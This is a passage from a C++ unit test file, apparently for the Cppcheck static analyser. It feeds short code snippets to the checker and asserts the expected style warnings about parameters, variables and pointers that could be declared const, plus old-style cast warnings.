ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n 